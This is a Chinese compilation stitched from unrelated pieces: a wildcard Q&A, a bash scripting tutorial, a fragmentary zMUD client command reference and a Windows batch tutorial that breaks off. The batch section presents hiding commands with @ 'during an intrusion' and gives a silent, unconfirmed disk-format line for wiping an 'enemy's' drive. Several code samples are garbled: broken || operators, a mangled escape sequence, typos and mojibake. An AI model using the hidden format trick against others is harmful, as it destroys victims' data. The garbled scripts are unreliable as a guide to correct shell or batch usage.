Ⅰ SHELL脚本中的通配符问题
两个意思是不一样的,在命令行的意思是代表0~n个任意字符。在shell脚本里代表重复0-n次前一个字符。就是ls abc或者ls abcc或者ls abccc
Ⅱ 批处理脚本里面怎么使用字符串通配符
直接这样好像有点难
不过你可以考虑一下以下做法
例如:
str1=newTest1
如果你要判断str1这个变量的字符中有没有test即*test*
那你只要两步
set str2=%str1:test=%
那str2的结果就是str1删除test之后的结果,现在拿
str2跟str1比较,如果相同,说明str1中没有test(因为如果有的话,那test就被替换成空了,那前后就不会相等了)
如果str2跟str1不等,说明str1中包含test也就是证明了str1是满足*test*的
Ⅲ 已在run目录下,创建一个脚本,如何实现,输入5个数,升序输出
如何编写一个shell脚本
本文结合大量实例阐述如何编写一个shell脚本。
为什么要进行shell编程
在Linux系统中,虽然有各种各样的图形化接口工具,但是sell仍然是一个非常灵活的工具。Shell不仅仅是命令的收集,而且是一门非常棒的编程语言。您可以通过使用shell使大量的任务自动化,shell特别擅长系统管理任务,尤其适合那些易用性、可维护性和便携性比效率更重要的任务。
下面,让我们一起来看看shell是如何工作的:
建立一个脚本
Linux中有好多中不同的shell,但是通常我们使用bash (bourne again shell) 进行shell编程,因为bash是免费的并且很容易使用。所以在本文中笔者所提供的脚本都是使用bash(但是在大多数情况下,这些脚本同样可以在bash的大姐,bourne shell中运行)。
如同其他语言一样,通过我们使用任意一种文字编辑器,比如nedit、kedit、emacs、vi
等来编写我们的shell程序。
程序必须以下面的行开始(必须方在文件的第一行):
#!/bin/sh
符号#!用来告诉系统它后面的参数是用来执行该文件的程序。在这个例子中我们使用/bin/sh来执行程序。
当编辑好脚本时,如果要执行该脚本,还必须使其可执行。
要使脚本可执行:
chmod +x filename
然后,您可以通过输入: ./filename 来执行您的脚本。
注释
在进行shell编程时,以#开头的句子表示注释,直到这一行的结束。我们真诚地建议您在程序中使用注释。如果您使用了注释,那么即使相当长的时间内没有使用该脚本,您也能在很短的时间内明白该脚本的作用及工作原理。
变量
在其他编程语言中您必须使用变量。在shell编程中,所有的变量都由字符串组成,并且您不需要对变量进行声明。要赋值给一个变量,您可以这样写:
变量名=值
取出变量值可以加一个美元符号($)在变量前面:
#!/bin/sh
#对变量赋值:
a="hello world"
# 现在打印变量a的内容:
echo "A is:"
echo $a
在您的编辑器中输入以上内容,然后将其保存为一个文件first。之后执行chmod +x first
使其可执行,最后输入./first执行该脚本。
这个脚本将会输出:
A is:
hello world
有时候变量名很容易与其他文字混淆,比如:
num=2
echo "this is the $numnd"
这并不会打印出"this is the 2nd",而仅仅打印"this is the ",因为shell会去搜索变量numnd的值,但是这个变量时没有值的。可以使用花括号来告诉shell我们要打印的是num变量:
num=2
echo "this is the ${num}nd"
这将打印: this is the 2nd
有许多变量是系统自动设定的,这将在后面使用这些变量时进行讨论。
如果您需要处理数学表达式,那么您需要使用诸如expr等程序(见下面)。
除了一般的仅在程序内有效的shell变量以外,还有环境变量。由export关键字处理过的变量叫做环境变量。我们不对环境变量进行讨论,因为通常情况下仅仅在登录脚本中使用环境变量。
Shell命令和流程控制
在shell脚本中可以使用三类命令:
1)Unix 命令:
虽然在shell脚本中可以使用任意的unix命令,但是还是由一些相对更常用的命令。这些命令通常是用来进行文件和文字操作的。
常用命令语法及功能
echo "some text": 将文字内容打印在屏幕上
ls: 文件列表
wc –l filewc -w filewc -c file: 计算文件行数计算文件中的单词数计算文件中的字符数
cp sourcefile destfile: 文件拷贝
mv oldname newname : 重命名文件或移动文件
rm file: 删除文件
grep 'pattern' file: 在文件内搜索字符串比如:grep 'searchstring' file.txt
cut -b colnum file: 指定欲显示的文件内容范围,并将它们输出到标准输出设备比如:输出每行第5个到第9个字符cut -b5-9 file.txt千万不要和cat命令混淆,这是两个完全不同的命令
cat file.txt: 输出文件内容到标准输出设备(屏幕)上
file somefile: 得到文件类型
read var: 提示用户输入,并将输入赋值给变量
sort file.txt: 对file.txt文件中的行进行排序
uniq: 删除文本文件中出现的行列比如: sort file.txt | uniq
expr: 进行数学运算Example: add 2 and 3expr 2 "+" 3
find: 搜索文件比如:根据文件名搜索find . -name filename -print
tee: 将数据输出到标准输出设备(屏幕) 和文件比如:somecommand | tee outfile
basename file: 返回不包含路径的文件名比如: basename /bin/tux将返回 tux
dirname file: 返回文件所在路径比如:dirname /bin/tux将返回 /bin
head file: 打印文本文件开头几行
tail file : 打印文本文件末尾几行
sed: Sed是一个基本的查找替换程序。可以从标准输入(比如命令管道)读入文本,并将结果输出到标准输出(屏幕)。该命令采用正则表达式(见参考)进行搜索。不要和shell中的通配符相混淆。比如:将linuxfocus 替换为 LinuxFocus :cat text.file | sed 's/linuxfocus/LinuxFocus/' > newtext.file
awk: awk 用来从文本文件中提取字段。缺省地,字段分割符是空格,可以使用-F指定其他分割符。cat file.txt | awk -F, '{print $1 "," $3 }'这里我们使用,作为字段分割符,同时打印第一个和第三个字段。如果该文件内容如下: Adam Bor, 34, IndiaKerry Miller, 22, USA命令输出结果为:Adam Bor, IndiaKerry Miller, USA
2) 概念: 管道, 重定向和 backtick
这些不是系统命令,但是他们真的很重要。
管道 (|) 将一个命令的输出作为另外一个命令的输入。
grep "hello" file.txt | wc -l
在file.txt中搜索包含有”hello”的行并计算其行数。
在这里grep命令的输出作为wc命令的输入。当然您可以使用多个命令。
重定向:将命令的结果输出到文件,而不是标准输出(屏幕)。
> 写入文件并覆盖旧文件
>> 加到文件的尾部,保留旧文件内容。
反短斜线
使用反短斜线可以将一个命令的输出作为另外一个命令的一个命令行参数。
命令:
find . -mtime -1 -type f -print
用来查找过去24小时(-mtime –2则表示过去48小时)内修改过的文件。如果您想将所有查找到的文件打一个包,则可以使用以下脚本:
#!/bin/sh
# The ticks are backticks (`) not normal quotes ('):
tar -zcvf lastmod.tar.gz `find . -mtime -1 -type f -print`
3) 流程控制
"if" 表达式 如果条件为真则执行then后面的部分:
if ....; then
....
elif ....; then
....
else
....
fi
大多数情况下,可以使用测试命令来对条件进行测试。比如可以比较字符串、判断文件是否存在及是否可读等等…
通常用" [ ] "来表示条件测试。注意这里的空格很重要。要确保方括号的空格。
[ -f "somefile" ] :判断是否是一个文件
[ -x "/bin/ls" ] :判断/bin/ls是否存在并有可执行权限
[ -n "$var" ] :判断$var变量是否有值
[ "$a" = "$b" ] :判断$a和$b是否相等
执行man test可以查看所有测试表达式可以比较和判断的类型。
直接执行以下脚本:
#!/bin/sh
if [ "$SHELL" = "/bin/bash" ]; then
echo "your login shell is the bash (bourne again shell)"
else
echo "your login shell is not bash but $SHELL"
fi
变量$SHELL包含了登录shell的名称,我们和/bin/bash进行了比较。
快捷操作符
熟悉C语言的朋友可能会很喜欢下面的表达式:
[ -f "/etc/shadow" ] && echo "This computer uses shadow passwors"
这里 && 就是一个快捷操作符,如果左边的表达式为真则执行右边的语句。您也可以认为是逻辑运算中的与操作。上例中表示如果/etc/shadow文件存在则打印” This computer uses shadow passwors”。同样或操作(||)在shell编程中也是可用的。这里有个例子:
#!/bin/sh
mailfolder=/var/spool/mail/james
[ -r "$mailfolder" ]' '{ echo "Can not read $mailfolder" ; exit 1; }
echo "$mailfolder has mail from:"
grep "^From " $mailfolder
该脚本首先判断mailfolder是否可读。如果可读则打印该文件中的"From" 一行。如果不可读则或操作生效,打印错误信息后脚本退出。这里有个问题,那就是我们必须有两个命令:
-打印错误信息
-退出程序
我们使用花括号以匿名函数的形式将两个命令放到一起作为一个命令使用。一般函数将在下文提及。
不用与和或操作符,我们也可以用if表达式作任何事情,但是使用与或操作符会更便利很多。
case表达式可以用来匹配一个给定的字符串,而不是数字。
case ... in
...) do something here ;;
esac
让我们看一个例子。 file命令可以辨别出一个给定文件的文件类型,比如:
file lf.gz
这将返回:
lf.gz: gzip compressed data, deflated, original filename,
last modified: Mon Aug 27 23:09:18 2001, os: Unix
我们利用这一点写了一个叫做smartzip的脚本,该脚本可以自动解压bzip2, gzip 和zip 类型的压缩文件:
#!/bin/sh
ftype=`file "$1"`
case "$ftype" in
"$1: Zip archive"*)
unzip "$1" ;;
"$1: gzip compressed"*)
gunzip "$1" ;;
"$1: bzip2 compressed"*)
bunzip2 "$1" ;;
*) error "File $1 can not be uncompressed with smartzip";;
esac
您可能注意到我们在这里使用了一个特殊的变量$1。该变量包含了传递给该程序的第一个参数值。也就是说,当我们运行:
smartzip articles.zip
$1 就是字符串 articles.zip
select 表达式是一种bash的扩展应用,尤其擅长于交互式使用。用户可以从一组不同的值中进行选择。
select var in ... ; do
break
done
.... now $var can be used ....
下面是一个例子:
#!/bin/sh
echo "What is your favourite OS?"
select var in "Linux" "Gnu Hurd" "Free BSD" "Other"; do
break
done
echo "You have selected $var"
下面是该脚本运行的结果:
What is your favourite OS?
1) Linux
2) Gnu Hurd
3) Free BSD
4) Other
#? 1
You have selected Linux
您也可以在shell中使用如下的loop表达式:
while ...; do
....
done
while-loop 将运行直到表达式测试为真。will run while the expression that we test for is true. 关键字"break" 用来跳出循环。而关键字”continue”用来不执行余下的部分而直接跳到下一个循环。
for-loop表达式查看一个字符串行表 (字符串用空格分隔) 然后将其赋给一个变量:
for var in ....; do
....
done
在下面的例子中,将分别打印ABC到屏幕上:
#!/bin/sh
for var in A B C ; do
echo "var is $var"
done
下面是一个更为有用的脚本showrpm,其功能是打印一些RPM包的统计信息:
#!/bin/sh
# list a content summary of a number of RPM packages
# USAGE: showrpm rpmfile1 rpmfile2 ...
# EXAMPLE: showrpm /cdrom/RedHat/RPMS/*.rpm
for rpmpackage in $*; do
if [ -r "$rpmpackage" ];then
echo "=============== $rpmpackage =============="
rpm -qi -p $rpmpackage
else
echo "ERROR: cannot read file $rpmpackage"
fi
done
这里出现了第二个特殊的变量$*,该变量包含了所有输入的命令行参数值。如果您运行showrpm openssh.rpm w3m.rpm webgrep.rpm
此时 $* 包含了 3 个字符串,即openssh.rpm, w3m.rpm and webgrep.rpm.
引号
在向程序传递任何参数之前,程序会扩展通配符和变量。这里所谓扩展的意思是程序会把通配符(比如*)替换成合适的文件名,它变量替换成变量值。为了防止程序作这种替换,您可以使用引号:让我们来看一个例子,假设在当前目录下有一些文件,两个jpg文件, mail.jpg 和tux.jpg。
#!/bin/sh
echo *.jpg
这将打印出"mail.jpg tux.jpg"的结果。
引号 (单引号和双引号) 将防止这种通配符扩展:
#!/bin/sh
echo "*.jpg"
echo '*.jpg'
这将打印"*.jpg" 两次。
单引号更严格一些。它可以防止任何变量扩展。双引号可以防止通配符扩展但允许变量扩展。
#!/bin/sh
echo $SHELL
echo "$SHELL"
echo '$SHELL'
运行结果为:
/bin/bash
/bin/bash
$SHELL
最后,还有一种防止这种扩展的方法,那就是使用转义字符——反斜杆:
echo *.jpg
echo $SHELL
这将输出:
*.jpg
$SHELL
Here documents
当要将几行文字传递给一个命令时,here documents(译者注:目前还没有见到过对该词适合的翻译)一种不错的方法。对每个脚本写一段帮助性的文字是很有用的,此时如果我们四有那个here documents就不必用echo函数一行行输出。 一个 "Here document" 以 << 开头,后面接上一个字符串,这个字符串还必须出现在here document的末尾。下面是一个例子,在该例子中,我们对多个文件进行重命名,并且使用here documents打印帮助:
#!/bin/sh
# we have less than 3 arguments. Print the help text:
if [ $# -lt 3 ] ; then
cat <<HELP
ren -- renames a number of files using sed regular expressions
USAGE: ren 'regexp' 'replacement' files...
EXAMPLE: rename all *.HTM files in *.html:
ren 'HTM$' 'html' *.HTM
HELP
exit 0
fi
OLD="$1"
NEW="$2"
# The shift command removes one argument from the list of
# command line arguments.
shift
shift
# $* contains now all the files:
for file in $*; do
if [ -f "$file" ] ; then
newfile=`echo "$file" | sed "s/${OLD}/${NEW}/g"`
if [ -f "$newfile" ]; then
echo "ERROR: $newfile exists already"
else
echo "renaming $file to $newfile ..."
mv "$file" "$newfile"
fi
fi
done
这是一个复杂一些的例子。让我们详细讨论一下。第一个if表达式判断输入命令行参数是否小于3个 (特殊变量$# 表示包含参数的个数) 。如果输入参数小于3个,则将帮助文字传递给cat命令,然后由cat命令将其打印在屏幕上。打印帮助文字后程序退出。 如果输入参数等于或大于3个,我们就将第一个参数赋值给变量OLD,第二个参数赋值给变量NEW。下一步,我们使用shift命令将第一个和第二个参数从参数列表中删除,这样原来的第三个参数就成为参数列表$*的第一个参数。然后我们开始循环,命令行参数列表被一个接一个地被赋值给变量$file。接着我们判断该文件是否存在,如果存在则通过sed命令搜索和替换来产生新的文件名。然后将反短斜线内命令结果赋值给newfile。这样我们就达到了我们的目的:得到了旧文件名和新文件名。然后使用mv命令进行重命名。
函数
如果您写了一些稍微复杂一些的程序,您就会发现在程序中可能在几个地方使用了相同的代码,并且您也会发现,如果我们使用了函数,会方便很多。一个函数是这个样子的:
functionname()
{
# inside the body $1 is the first argument given to the function
# $2 the second ...
body
}
您需要在每个程序的开始对函数进行声明。
下面是一个叫做xtitlebar的脚本,使用这个脚本您可以改变终端窗口的名称。这里使用了一个叫做help的函数。正如您可以看到的那样,这个定义的函数被使用了两次。
#!/bin/sh
# vim: set sw=4 ts=4 et:
help()
{
cat <<HELP
xtitlebar -- change the name of an xterm, gnome-terminal or kde konsole
USAGE: xtitlebar [-h] "string_for_titelbar"
OPTIONS: -h help text
EXAMPLE: xtitlebar "cvs"
HELP
exit 0
}
# in case of error or if -h is given we call the function help:
[ -z "$1" ] && help
[ "$1" = "-h" ] && help
# send the escape sequence to change the xterm titelbar:
echo -e "33]0;$107"
#
在脚本中提供帮助是一种很好的编程习惯,这样方便其他用户(和您)使用和理解脚本。
命令行参数
我们已经见过$* 和 $1, $2 ... $9 等特殊变量,这些特殊变量包含了用户从命令行输入的参数。迄今为止,我们仅仅了解了一些简单的命令行语法(比如一些强制性的参数和查看帮助的-h选项)。但是在编写更复杂的程序时,您可能会发现您需要更多的自定义的选项。通常的惯例是在所有可选的参数之前加一个减号,后面再加上参数值 (比如文件名)。
有好多方法可以实现对输入参数的分析,但是下面的使用case表达式的例子无遗是一个不错的方法。
#!/bin/sh
help()
{
cat <<HELP
This is a generic command line parser demo.
USAGE EXAMPLE: cmdparser -l hello -f -- -somefile1 somefile2
HELP
exit 0
}
while [ -n "$1" ]; do
case $1 in
-h) help;shift 1;; # function help is called
-f) opt_f=1;shift 1;; # variable opt_f is set
-l) opt_l=$2;shift 2;; # -l takes an argument -> shift by 2
--) shift;break;; # end of options
-*) echo "error: no such option $1. -h for help";exit 1;;
*) break;;
esac
done
echo "opt_f is $opt_f"
echo "opt_l is $opt_l"
echo "first arg is $1"
echo "2nd arg is $2"
您可以这样运行该脚本:
cmdparser -l hello -f -- -somefile1 somefile2
返回的结果是:
opt_f is 1
opt_l is hello
first arg is -somefile1
2nd arg is somefile2
这个脚本是如何工作的呢?脚本首先在所有输入命令行参数中进行循环,将输入参数与case表达式进行比较,如果匹配则设置一个变量并且移除该参数。根据unix系统的惯例,首先输入的应该是包含减号的参数。
Ⅳ shell 脚本通配符无效
我这里试下来bzip2是支持通配符的。
/var/shark*20150324*.log
你本机是否存在符合这种格式的文件呢? 路径是否正确?
Ⅳ 通配符是怎么定义的有哪些
通配符的使用
在使用文件时,主文件名和扩展名中还可以使用通配符“*”“?”。其中“*”代表从它所在位置直到“.”(主文件名中为到“.”前,扩展名为“.”后)的所有字符;“?”代表它所在位置的任意字符。
实例:
A.?? 表示文件主名为A,扩展名不超过两个字符的文件
???.com 表示文件名不超过三个字符,扩展名为COM的文件
*.* 表示所有文件
ABC.* 表示文件名为ABC,具有任意扩展名的文件
*.EXE 表示以EXE为扩展名的所有文件
A*.* 表示以字符A开头的所有文件 例如: ABC.txt ABD.com等
A??.* 表示文件主名以A开头且不超过三个字符,具有任意扩展名
的文件
tabs)
%x
匹配任何数量的非空格
[range]
匹配任何数量的在[range]中列出的字符
^
强制从一行的开始进行匹配
$
强制匹配到一行的结束
(pattern)
保存匹配的式样到参数%1~%9
~
包括其中的字符不会被解释为特殊字符
{val1|val2|val3|...}
匹配其中列出的任何特殊的串
{^string}
不匹配其中包括的串
使用[range]时,你可以在其中列出需要的字符例如 [abc] 或使用范围 [a-c] 。
为了匹配特殊字符本身,可以使用~将特殊字符括住,例如:~[test~] 将匹配字符串
[test] 而不是作为 [range] 来匹配。
只使用$可以匹配一个空行。
别名中使用参数的例子
我们在解谜过程中向npc提出的问题通常是以:
ask npc about here
ask npc about rumors
ask npc about name
这样三个命令开始的,把他们定义成别名可以节省一些时间,像这样:
#al askn {ask %1 about here;ask %1 about here;ask %1 about name}
可如果npc的名字有两个单词,或一堆同名的npc中你要问其中第二个,就需要把别名
中的参数改为%-1,此时执行askn bing 2或askn tian bing就不会出错了。
为了更好的理解参数的作用,试试执行下面的命令:
#al tt test1 %1 test2 %2 test3 %-1 test4 %-2
看看执行{tt a1 a2 a3 a4 a5}的结果,一切都清楚了吧?
表达式
当执行运算时,如果所有参数均为数字,则执行数学运算,否则执行字符串操作。以
下是一些常用的表达式(v1和v2代表变量或另外的表达式):
v1+v2
如果v1或v2不是数字,则执行字符串相加
v1-v2
从v1中减去v2
v1*v2
相乘
v1/v2
v1除v2,结果不含小数
v1\v2
取模
v1&v2
逻辑运算and
v1 and v2
同上
v1 | v2
逻辑运算or
v1 or v2
同上
v1 xor v2
逻辑运算xor
v1 = v2
如果v1等于v2返回真
v1 > v2
如果v1大于v2返回真
v1 < v2
如果v1小于v2返回真
v1 >= v2
如果v1大于等于v2返回真
v1 <= v2
如果v1小于等于v2返回真
v1 <> v2
如果v1不等于v2返回真
v1 != v2
同上
v1 =~ v2
如果表达式v1中的pattern包含v2,返回真
v1 ~= v2
同上
-v1
返回v1的负值
!v1
逻辑运算非
命令:
number]
Syntax:牋?#number command
这个命令向MUD重复发送number次命令,number必须是一个常数,如果要使用变量,请
使用loop命令。当前已经重复的计数保存在系统变量%repeatnum中。
实例:
#4 fight bing %i
命令将被解释成{fight bing 1;fight bing 2;...;fight bing 4}发往MUD10
abort
Syntax:牋?#AB
停止分析处理当前的命令行中#ab以后的部分
实例:
get all corpse;#ABORT;split
在这个例子中,split将被忽略
action
Syntax:牋?#AC pattern command [classname]
Related:牋?#TRIGGER #T+ #T- #IGNORE
这是zMUD中最有用的特性之一。当从MUD中收到一条匹配的文本时,预先定义的命令将
被执行。这条命令的第一个参数是被匹配的文本,如果文本中包含空格,你需要将它
用括号{}括起来。pattern中能够包含特殊的pattern matching symbols 和通配符。
第二个参数是将要被执行的命令,超过一个单词的命令也需要使用括号{}。第三个参
数用于给不同的触发动作命名分类,便于管理。高级的触发设置必须使用参数
(Preferences)对话框,在对话框中,你可以决定触发的动作是紧跟在匹配的文本之
后还是在新的一行中执行。
一个简单的例子:
#AC {你买下一件藤甲} {wear jia}
这样,无论何时只要你买了藤甲,立刻可以自动穿上。
自动登录的例子:
#AC {^您的英文名字:} {river}
#AC {^请输入相应密码:} {12345}
然后在参数对话框中关闭 Trigger on Newline 设置并且打开 Trigger on Prompt 这
样名字和密码将紧接着提示行输入而不会等待换行。注意,字符 ^ 将强制从一行的头
部开始匹配。
触发中的参数
#AC {^You get (%d) coins} {chat I get %1coin } rich
当你看到一行“You get [number] coins”时,其中的数值将被存放在变量%1中,其
后执行的命令可以使用这个数值。在这个例子中用到了类(class)名rich,这样你就
能够使用t+和t-命令来打开或关闭这个触发。
add
Syntax:牋?#AD variable amount
这个例子允许你做一个简单的算术计算。amount可以是数值或变量。如果要做减法,
可以使用负值。复杂一些的算术计算,请使用 #math 命令。
实例:
#AD moves 1
给变量@moves加一
#ACTION {You get (%d) coins} {#AD gold %1}
当捡到钱时,把捡钱的数量加到 @gold 变量中
alarm
Syntax:牋?#ALA timepattern command
Related:牋?#TRIGGER
建立一个基于时间的触发,而不是根据从MUD中获得的信息触发。timepattern可以是
特定的时间或包括通配符。如果在minus前加上(-),则表示连线时间而不是实际时
间。
timepattern 的格式表示成 hours:minutes:seconds ,其中的小时和分钟是可选项,
如果不指明,则假定小时和分钟被通配符*取代。通配符*可以代替任何数值,而*10可
以匹配10、20、30等等。你也可以指定几个数值用(|)来分隔。Finally, you can
put parenthesis around the wildcards to save the values matched to the
%1..%9 parameters。(这句话我不懂,谁来帮我?)
实例:
#ALARM -30:00 {save}
这里的 hour 没有指定,所以默认为*。 因此,这个例子将在连线后每隔30分钟执行
save 命令。
#ALARM 3:00:00 {gossip Why arent you sleeping?}
命令将在凌晨3点触发。
#ALARM -59:(55|56|57|58|59) {#SHOW 60-%1}
这个命令在你连线时每个小时的最后5秒在屏幕上显示 5 4 3 2 1。
alias
Syntax:牋?#AL [aliasname] [string]
Related:牋?#VARIABLE
保存一个或一组命令到一个较短的别名中。当执行别名时,命令中的变量能够被扩
展。如果需要延迟变量扩展,可以使用两个变量标志(%%)。
如果不带参数执行命令alias,所有的别名将被列出在输出窗口。如果在命令alias中
指定别名,被指定的别名将被显示。
别名能够用<tab>键扩展。在命令行中键入一个别名并按下<tab>键,命令行中的别名
将被替换成别名中包含的命令。
如果在定义别名时使用参数(%1,%2,...),在命令行中紧随别名的文本将取代这些
参数。特殊的参数%-1到%-99表示-n之后的所有文本。(使用参数的例子)
实例
#AL fs {fill waterskin}
当执行fs时,fill waterskin将被送往MUD。
#AL fs {fill @container}
在别名中使用变量,变量可以在购买容器时用触发赋值。
#AL make {#ALIAS %1 {cast %1 %%1]
在这个例子中,执行make heal将发出#ALIAS heal {cast heal %1}命令,这样就建立
了一个新的别名heal。
all
Syntax:牋?#ALL command
发送一个命令到所有角色的窗口
实例:
#ALL quit
发送 quit 命令到所有激活的角色窗口。
backup
Syntax:牋?#BA
Related:牋?#PATH #RETRACE
从当前正在记录的路径中删除最后一步
实例:
如果当前路径是 .nsew 那麽执行 #BA 将使其成为 .nse 。如果当前路径是 .n4s 则
执行 #BA 后将成为 .n3s 。?
beep
Syntax:牋?#BEEP [value]
Related:牋?#PLAY
在pc机喇叭中发声,value 对应相应的 windows 事件。
实例:
#BEEP 16
播放windows 事件 16 的声音。
#BEEP;#WAIT 500;#BEEP
beep两次,中间间隔0.5秒。
button
Syntax:牋?#BU number
触发一个自定义按钮,编号(从1至16)决定触发的按钮。number 可以是一个变量。
实例:
#BU 1
触发第一个按钮,效果相当于在屏幕上按下这个按钮
c+
Syntax:牋?#C+ [name]
Related:牋?#C-
开始获取文本到窗口name中,如果省略name,文本将送入command editor,(如果
editor中的capturing设置可用)。如果在preferences对话框中选中Capture
Commands设置,键入的命令也将被送往这个窗口。
例子:
#c+ temp
开始拷贝所有从MUD中获得的文本到名为temp的窗口中
c-
Syntax:牋?#C-
Related:牋?#C+
停止获取文本到另一个窗口
capture
Syntax:牋?#CAP [number] [name]
Related:牋?Editor window
获取最后number行送到另一个窗口。如果省略number,则只获取最后一行。如果
number是-1,所有的行将被拷贝。如果name省略,发送的目标将是command editor
window。
例子
#tr {咖啡告诉你:救命!} {#cap tell}
将tell的内容存入名为tell的窗口,避免忽略。
case
Syntax:牋?#CA index command1 [commandn]
允许从命令列表中选择一个命令执行。index参数决定执行哪一个命令。如果index大
于列表中的命令数,将从第一个开始重新选择。例如,列表中有4个命令,而index=
6,则第二个命令将被执行。你也可以用变量%random随机的选择需执行的命令。
实例:
#CASE 2 {first command} {second command} {third command}
执行第二个命令
#CASE @joincmd {join} {rescue}
如果变量@join是奇数,执行join,偶数执行rescue。
#CASE %random {Hello} {Hi there} {Hiya} {Hi}
随机选择问候语。
character
Syntax:牋?#CH
Related:牋?#HOST #PW
从Charater atabase中返回当前角色的名字
colse
Syntax:牋?#CL filenum
Related:牋?#FILE
根据给定的文件号关闭文件,文件必须是已经用#file命令打开的。
实例:
#CLOSE 1
关闭一号文件
clr
清除屏幕。如果要清空scrollback buffer并收回内存,请使用菜单命令Empty。
color
Syntax:牋?#CO attribute [pattern]
Related:牋?#HIGHLIGHT
如果省略pattern参数,这个命令将改变最后一行的颜色。颜色属性见下表。如果包括
pattern参数,将建立一个颜色触发,引起触发的条件除了字符对应外还需要有相同的
颜色。
Color values:
black牋?
0
blue牋
1
green
2
cyan
3
red
4
magenta
5
brown
6
gray
7
tellow
14
white
15
bold
128
要显示亮色,在基本值上加8,作为背景颜色,需要用基本值乘16。例如:使用红色背
景的值是4*16或64。在前景上使用粗体字,需要再加128。这样,在蓝色背景上的粗体
白字的值是:128+1*16+15=159。
实例:
#CO red
将最后一行的颜色变成红色
#CO bold,red
将最后一行变成红色粗体
connect
Syntax:牋?#CON
Related:牋?#DISCONNECT
断开并重新连接到当前的MUD,与菜单命令File/Reconnect 相同
cr
Syntax:牋?#CR
送一个空行到MUD
cw
Syntax:牋?#CW color
Related:牋?#COLOR
在一次成功的触发之后,改变引起触发的内容的颜色
实例:
#TRIGGER {告诉你} {#CW red}
当有人tell 你时,显示较为醒目的颜色
dde
Syntax:牋?#DDE server topic macro
这个命令允许你通过动态数据交换使用外部程序。zMUD也有一些内建的函数用于DDE:
%dde(server,topic,item)
%ddepoke(server,topic,item,value)
%ddemacro(server,topic,macro)
如果你使用%ddeopen(server,topic)函数打开DDE连接,在其他函数中不再需要指明
server和topic,这个函数是全局性的,对于zMUD的任何窗口均有效。结束DDE连接
时,使用%ddeclose()函数。
zMUD也拥有自己的DDE服务,server名是zmud,topic也是zmud,item为data。
实例:
#DDE NETSCAPE WWW_OpenURL {<a target="_blank" href="http://www.zg169.net/~czmud/index.html}">http://www.zg169.net/~czmud/index.html}</a>
使用netscape打开zMUD从入门到精通主页,因为~zMUD的特殊字符,所以需要再加一个
~写成~。
#DDE ZMUD ZMUD {chat* bye;quit}
使用DDE向MUD发出命令
%dde(Excel,TEST.XLS,R1C1)
使用excel装入test.xls并返回单元R1C1的值。
%ddepoke(Excel,TEST.XLS,R1C1,@tank)
向test.xls的R1C1单元写入变量@tank的值
谁能用DDE写一个自动对诗的机器人?
default
Syntax:牋?#DE [special-char-string]
Related:牋?#NODEF
保存你当前使用的特殊字符并恢复系统默认的特殊字符,在使用现成的命令脚本时,
这个命令可以保证脚本中的标准特殊字符被正确识别。使用#NODEF命令将恢复你自定
义的特殊字符。
zMUD中使用的特殊字符有
Ⅵ windows bat脚本问题
Windows .bat 脚本简单用法介绍:
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法:
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命
令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使
用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这
个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令
就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你
自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入
驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签
。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数:
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本
内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提
示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行
标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后
都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1)、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
